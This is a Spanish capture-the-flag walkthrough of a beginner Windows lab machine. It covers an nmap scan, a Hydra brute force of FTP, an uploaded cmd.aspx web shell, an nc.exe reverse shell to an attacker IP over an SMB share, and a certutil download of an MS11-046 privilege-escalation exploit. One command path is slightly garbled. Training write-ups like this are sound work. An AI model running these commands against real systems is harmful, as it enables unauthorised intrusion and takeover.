---
description: '🔍 Dificultad: Principiante'
---

# Cocido andaluz

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.85
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtrCjvGVVZb44A3HgACkw%2Fimage.png?alt=media&#x26;token=1d9bd38c-2ac9-43ef-b318-e4f2320e0636" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.85 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCvbYhStVcI4d0Zt5muXb%2Fimage.png?alt=media&#x26;token=46f6fec2-d2f3-47e7-a9d3-e3e4373213d3" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP,** el **puerto 80** perteneciente al **servicio HTTP,** el **puerto  135** perteneciente al servicio **MSRPC**, el **puerto 139** perteneciente **netbios-ssn** y el **puerto 445** perteneciente **microsoft-ds** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,80,135,139,445 -v 192.168.1.85
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FcqpZjvqF62IEake6oyNB%2Fimage.png?alt=media&#x26;token=e4921f59-ad2f-41df-ae62-356d5517c155" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página de por defecto de **Apache**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FT0qgWGHw0Eq7pK122Zd7%2Fimage.png?alt=media&#x26;token=e1c4957d-d134-4652-8e61-33e3d3a67ed1" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://192.168.1.85/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

No encontramos nada relevante.

Revisamos que tenemos el **servicio FTP** pero no tenemos acceso de **anonymous** porque sino se nos había mostrado en los escaneos anteriores.

```bash
hydra ftp://192.168.1.85 -L /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIg9YaBtw6oLDmgrxHVaC%2Fimage.png?alt=media&#x26;token=c5683d68-9eb1-434e-b42e-17b384e040b5" alt=""><figcaption></figcaption></figure>

Nos conectamos con esas credenciales al **FTP**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPa3iqrEU2N7IP7yo9nUX%2Fimage.png?alt=media&#x26;token=eae149a4-166b-41e9-891b-c2ca7f0aebec" alt=""><figcaption></figcaption></figure>

Son los archivos de la página web.

Por lo que hacemos colocar un **.aspx** para ejecutar comandos de manera remota.

```bash
locate .aspx
cp /usr/share/wordlists/SecLists/Web-Shells/FuzzDB/cmd.aspx .
```

Nos lo traemos de manera remota.

```bash
put cmd.aspx
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fq5Fl6iuvjKyXJILFI0dL%2Fimage.png?alt=media&#x26;token=87862dd4-74f8-4463-9023-9e8c7c5db1e8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMXmw2WSAGJdm2XUhijuv%2Fimage.png?alt=media&#x26;token=82ce9ee6-9068-4358-96f9-e001df01754c" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Podemos ejecutar comandos de manera remota por lo que nos mandamos una Reverse Shell.

Nos copiamos esto en nuestro directorio de trabajo.

```bash
locate nc.exe
cp /usr/share/wordlists/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Para obtener acceso al sistema, configuraremos un recurso compartido utilizando **impacket-smbserver**. A través de este recurso, transferiremos el binario de **nc.exe** en su versión de 32 bits, ya que la arquitectura de la máquina objetivo corresponde a 32 bits. Esto lo hemos verificado previamente utilizando herramientas como **netexec** o **crackmapexec**.

Ejecutamos.

```bash
impacket-smbserver smbCarpeta . -smb2support
```

En el `cmd.aspx` ejecutamos.

```bash
\\192.168.1.50\cmdCarpetanc.exe -e cmd 192.168.1.50 443
```

Nos ponemos en escucha y le damos a ejecutar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJSjqEYSayjus4DViLGeI%2Fimage.png?alt=media&#x26;token=56625ce7-0272-441c-962b-f4bca81c718e" alt=""><figcaption></figcaption></figure>

Vemos que usuarios hay.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvQOqBvQ7E6htdNu2ST57%2Fimage.png?alt=media&#x26;token=9a0e1f73-889c-4890-99b1-906fedc34c5e" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root.**

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fq2AgTYphYAgN06tz9K6y%2Fimage.png?alt=media&#x26;token=9135ff88-964b-4534-8d83-b5c1ef7dba7b" alt=""><figcaption></figcaption></figure>

Para ver información del sistema.

```bash
systeminfo
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKQZ1WxIbiag5z9UBCSF0%2Fimage.png?alt=media&#x26;token=f1bf2ee9-5974-4fc3-b9b7-19cfbcaef75d" alt=""><figcaption></figcaption></figure>

Buscamos si tiene un exploit de esa versión de Windows. Encontramos [https://www.exploit-db.com/exploits/40564](https://www.exploit-db.com/exploits/40564)

Buscamos en github y encontramos este ejecutable, por lo que nos lo descargamos.

Usamos certutil para pasar ese archivo a la máquina víctima. Para ello iniciamos en nuestra máquina atacante.

```bash
python3 -m http.server 8000
```

En la máquina víctima en el direcotrio `/tmp`.

```bash
certutil.exe -f -urlcache -split http://192.168.1.50/ms11-046.exe
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FM9ugKpnCHowQdrmNd2hq%2Fimage.png?alt=media&#x26;token=d9a77a2a-bb8c-44c6-a402-abcd43656975" alt=""><figcaption></figcaption></figure>

Ejecutamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvWTMuvRpx3uC88VuuhQv%2Fimage.png?alt=media&#x26;token=a8e875ee-50d9-4c0d-8cd5-27ee3c4fcf7a" alt=""><figcaption></figcaption></figure>

Ya somos **root**. Podemos acceder al usuario **Administrador**.

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
